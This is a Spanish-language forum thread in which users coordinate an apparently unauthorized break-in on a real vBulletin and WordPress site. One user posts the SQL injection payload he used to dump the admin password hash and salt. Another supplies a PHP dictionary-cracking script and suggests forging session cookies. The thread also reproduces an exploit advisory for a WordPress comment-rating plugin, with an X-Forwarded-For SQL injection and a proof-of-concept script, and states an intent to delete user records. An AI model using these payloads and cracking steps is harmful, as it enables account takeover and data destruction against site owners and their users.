descifrar Hash vbulletin 4.1.3

Iniciado por juansemaster, 28 Marzo 2013, 18:27 PM

0 Miembros y 4 Visitantes están viendo este tema.

juansemaster

Accedi a los hashes de un foro en vbulletin mediante una inyección en php

paso los hash  

Usuario:hash:ide

cai_baguette:e53a3baca64869cb558bc6f6f5fab4f5:1


El problema que tengo ahora es no puedo descifrar los hash presumiblemente en MD5.

Tambien intente en modficar cookies de acceso sin resultados positivos.

El desafio es encontrar una forma de descifrar los hash o utilizar estos para acceder a las cuentas de los administradores.

Saludos
Juansemaster

WHK

Mira, este es el algoritmo:
Código (php) [Seleccionar]
<?php md5(md5($pass).$salt); ?>

Es practicamente imposible descifrar porque es de una sola via + el salt pero si puedes crackearlas siempre y cuando tengas el salt de cada cuenta.

Tambien puedes probar inyectando sesiones en tu explorador utilizando esos hashses.

Saludos.

juansemaster

Como se obtiene el salt con que datos?

juansemaster

encontre esto en el archivo passwordcheck.php

WHERE password = MD5(CONCAT(MD5(username),salt))

el valor salt tiene el siguiente formato

n]t!Cir&n<z0FC7FDdPNMK@h6[hwqy

nose en que esta cifrado

juansemaster


Código (php) [Seleccionar]

function fetch_user_salt($length = 30)
{
$salt = '';
for ($i = 0; $i < $length; $i++)
{
$salt .= chr(vbrand(33, 126));
}
return $salt;
}


parece que el salt se obtiene al azar y es pasado a ascii  :P

juansemaster

 ;D


logre obtener el salt del administrador ahora tengo mas datos


Admin id1
hash: e53a3baca64869cb558bc6f6f5fab4f5
salt: aY-t'2c;`&lt;s?GYYqsDnUP=(AQ(mH'8

voy a intentar crackearlo

WHK

#6
jajaja que largo el salt xD pero ya con ese dato podrás facilmente crackear la contraseña porque recuerda que md5 es un cifrado de una via, o sea que no se puee descifrar pero si comparar:

Código (php) [Seleccionar]
<?php
/*
Admin id1
hash: e53a3baca64869cb558bc6f6f5fab4f5
salt: aY-t'2c;`&s?GYYqsDnUP=(AQ(mH'8
*/

/* Config */
$hash 'e53a3baca64869cb558bc6f6f5fab4f5';
$salt 'aY-t\'2c;`&s?GYYqsDnUP=(AQ(mH\'8';
$listado file('diccionario.txt');
$pass false;

/* Busca */
foreach($diccionario as $palabra){
if($palabra trim((string)$palabra)){
if(md5(md5($palabra).$salt) === (string)$hash){
$pass $palabra;
break;
}
}
}

if(
$pass)
echo 'La clave es: '.htmlspecialchars($passENT_QUOTES);
else
echo 'Imposible obtener la clave :(';
?>


Ahora necesitas un buen diccionario de palabras :D y a crackear se ha dicho!

Nota: Cuidado donde aparece "&lt;" porque puede ser que realmente sea "&", lo que sucede es que el sistema de coloreado de código transforma algunas cosas de forma automática  :¬¬

¿Porque no usas ese hash y ese sat para generar una cookie de autentificación mejor? talves sea mas facil que crackear la contraseña no crees?

juansemaster

estoy atascado

Probe con la cookie con un complemento de firefox para modificarlas pero aparentemente vbulletin crea otro dato en md5 para las cookies asi que es imposble.

Probe con muchos diccionarios sin exito  en la pc tambien mediante php :-( sin resultados, el script funciona con la salt hice la prueba con mi propia cuenta y funciono pero por ahora no logro crackear la de los administradores.

La salt tiene que contener 30 caracteres el problema con &lt; hay que cambiarla por el signo menor.

&lt;= <

:P donde puedo conseguir diccionarios interesantes si estan relacionados con el futbol mejor.

juansemaster

#8
No hay suerte, te dejo la inyeccion SQL para ver si se puede hacer algo mas con ella.

Código (sql) [Seleccionar]


&searchfromtype=vBForum:SocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user

where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1

union select 2 union select 3)a group by x limit 1) -- /*);



Eso se agrega en el formulario de busqueda.


Estaria bueno enviar una orden para borrar cierto registro tipo:

Código (sql) [Seleccionar]
mysql_query(delete from user where userid=408);


Probe sin resultados.

WHK

Mira, de la misma web estuve intentando buscar alguna inyección sql que no te pida registro de usuario como la que encontraste, encontré esta:

wp-content/plugins/comment-rating/ck-processkarma.php

Si ingresas a wp-register verás el registro de wordpress (es un 3.3.2) y al ingresar verás el panel de usuario de wordpress, si le das un vistazo al código fuente podrás ver la mayoría de sus plugins:

Citar
....../wp-admin/load-styles.php?c=1&amp;dir=ltr&amp;load=admin-bar,wp-admin,wp-pointer&amp;ver=1747f87854de3d4df3fdb74e9ef12757
....../wp-content/plugins/w3-total-cache/pub/css/widget.css?ver=3.3.2
....../wp-includes/js/thickbox/thickbox.css?ver=20111117
....../wp-admin/css/colors-fresh.css?ver=20111206
....../wp-admin/css/ie.css?ver=20111130
....../wp-content/plugins/youtube-embed/css/aye-admin.css?ver=3.3.2
....../wp-content/plugins/youtube-embed/css/aye-dynamic.css?ver=3.3.2
....../wp-content/plugins/youtube-embed/css/aye-tinymce-button.css?ver=3.3.2
....../wp-admin/load-scripts.php?c=1&amp;load=jquery,utils&amp;ver=edec3fab0cb6297ea474806db1895fa7
....../wp-content/plugins/comment-rating/ck-karma.js?ver=3.3.2
....../wp-content/plugins/w3-total-cache/pub/js/metadata.js?ver=3.3.2
....../wp-content/plugins/w3-total-cache/pub/js/widget.js?ver=3.3.2
....../wp-content/plugins/microkids-related-posts/microkids-related-posts.js

Los que mas se destacan por sus vulnerabilidades son w3-total-cache y comment-rating pero el de total caché no funciona porque no tiene puesta la opción de visualizar directorios (o si no ya hubieramos tenido la db), la de comment-rating si es posible explotar:
http://webcache.googleusercontent.com/search?q=cache:Y5z03qapzdQJ:www.exploit-db.com/exploits/24552/+&cd=1&hl=es&ct=clnk&gl=cl&client=firefox-a

Código (php) [Seleccionar]
# Exploit Title: Wordpress plugin: Comment Rating SQL injection
# Google Dork:
# Date: 21/02/2013
# Exploit Author: ebanyu
# Url Author: www.ebanyu.com.ar
# Vendor Homepage: wealthynetizen.com
# Software Link: http://wealthynetizen.com/wordpress-plugin-comment-rating/
# Version: 2.9.32
# Tested on: Fedora 18 + mysql 5.5 + php 5.4



Vulnerable Code: /wp-content/plugins/comment-rating/ck-processkarma.php

First take the IP from HTTP_X_FORWARDED_FOR header.
-----------------------------------------------------------------------
48         $ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR");
49         if(strstr($row['ck_ips'], $ip)) {
50            // die('error|You have already voted on this item!');
51            // Just don't count duplicated votes
52            $duplicated = 1;
53            $ck_ips = $row['ck_ips'];
54         }

Later made a UPDATE without filter the input.
------------------------------------------------------------------------
77         $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips  . "' WHERE ck_comment_id = $k_id";


So let's take a look in the DB

mysql> select * from wp_comment_rating;
+---------------+----------------+--------------+----------------+
| ck_comment_id | ck_ips         | ck_rating_up | ck_rating_down |
+---------------+----------------+--------------+----------------+
|             2 | ,20.209.10.130 |            1 |              0 |
|             3 |                |            0 |              0 |
+---------------+----------------+--------------+----------------+
2 rows in set (0.00 sec)


Now made a HTTP request with a injection in the HTTP_X_FORWARDED_FOR header:

GET /wordpress/wp-content/plugins/comment-rating/ck-processkarma.php?id=2&action=add&path=a&imgIndex=1_14_ HTTP/1.1
Host: 192.168.1.10
Accept-Encoding: gzip, deflate
X-Forwarded-For: ', ck_ips=(select user()) WHERE ck_comment_id=2#
Connection: keep-alive


And the result is:

mysql> select * from wp_comment_rating;
+---------------+---------------------+--------------+----------------+
| ck_comment_id | ck_ips              | ck_rating_up | ck_rating_down |
+---------------+---------------------+--------------+----------------+
|             2 | wordpress@localhost |            2 |              0 |
|             3 |                     |            0 |              0 |
+---------------+---------------------+--------------+----------------+
2 rows in set (0.00 sec)

Cheers

=======================================================================================


# Exploit Title: Wordpress plugin: Comment Rating Bypass vote limitation
# Date: 21/02/2013
# Exploit Author: ebanyu
# Url Author: www.ebanyu.com.ar
# Vendor Homepage: wealthynetizen.com
# Software Link: http://wealthynetizen.com/wordpress-plugin-comment-rating/
# Version: 2.9.32
# Tested on: Fedora 18 + mysql 5.5 + php 5.4


Vulnerable Code: /wp-content/plugins/comment-rating/ck-processkarma.php

First take the IP from HTTP_X_FORWARDED_FOR header.
-----------------------------------------------------------------------
48         $ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR");
49         if(strstr($row['ck_ips'], $ip)) {
50            // die('error|You have already voted on this item!');
51            // Just don't count duplicated votes
52            $duplicated = 1;
53            $ck_ips = $row['ck_ips'];
54         }

Later made a UPDATE without filter the input.
------------------------------------------------------------------------
77         $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips  . "' WHERE ck_comment_id = $k_id";


Now for bypass the vote limitation, we just have to add the HTTP_X_FORWARDED_FOR header and change it once per request.

A simple POC is made in php.

<?PHP

define('HOST','http://localhost/wordpress/');
define('IDCOMMENT',2);
$url=parse_url(HOST);
define('URL',$url['path'].'wp-content/plugins/comment-rating/ck-processkarma.php?id='.IDCOMMENT.'&action=add&path=a&imgIndex=1_14_');
for($i=0;$i<1;$i++) lvlup();

function lvlup(){
global $url;
$header = "GET ".URL." HTTP/1.1 \r\n";
$header.= "Host: ".$url['host']."\r\n";
$header.= "Accept-Encoding: gzip, deflate \r\n";
$header.= "X-Forwarded-For: ".long2ip(rand(0, "4294967295"))."\r\n";
$header.= "Connection: close \r\n\r\n";
$socket  = socket_create(AF_INET, SOCK_STREAM,  SOL_TCP);
socket_connect($socket,$url['host'], 80);
socket_write($socket, $header);
socket_close($socket);
}

?>


El problema es que es una inyección muy muy dificil de explotar como para poder sacar probechos de ella y ganar algunos privilegios ya que está escrita sobre un update y no se puede concatenar una segunda instrucción para hacer otro update o un insert y poder hacer tu usuario un administrador, lo unico que se puede es crear un select entre parentesis pero los resultados se van directamente a una columna de la base de datos que nunca ves, asi que no sirve de mucho.

Dale un vistazo a las vulnerabilidades de Wordpress de las versiones entre la que está instalada y la última estable.

Creo que había un exploit para aprobecharse del pingback o del xmlrpc, no lo recuerdo bien.

Saludos.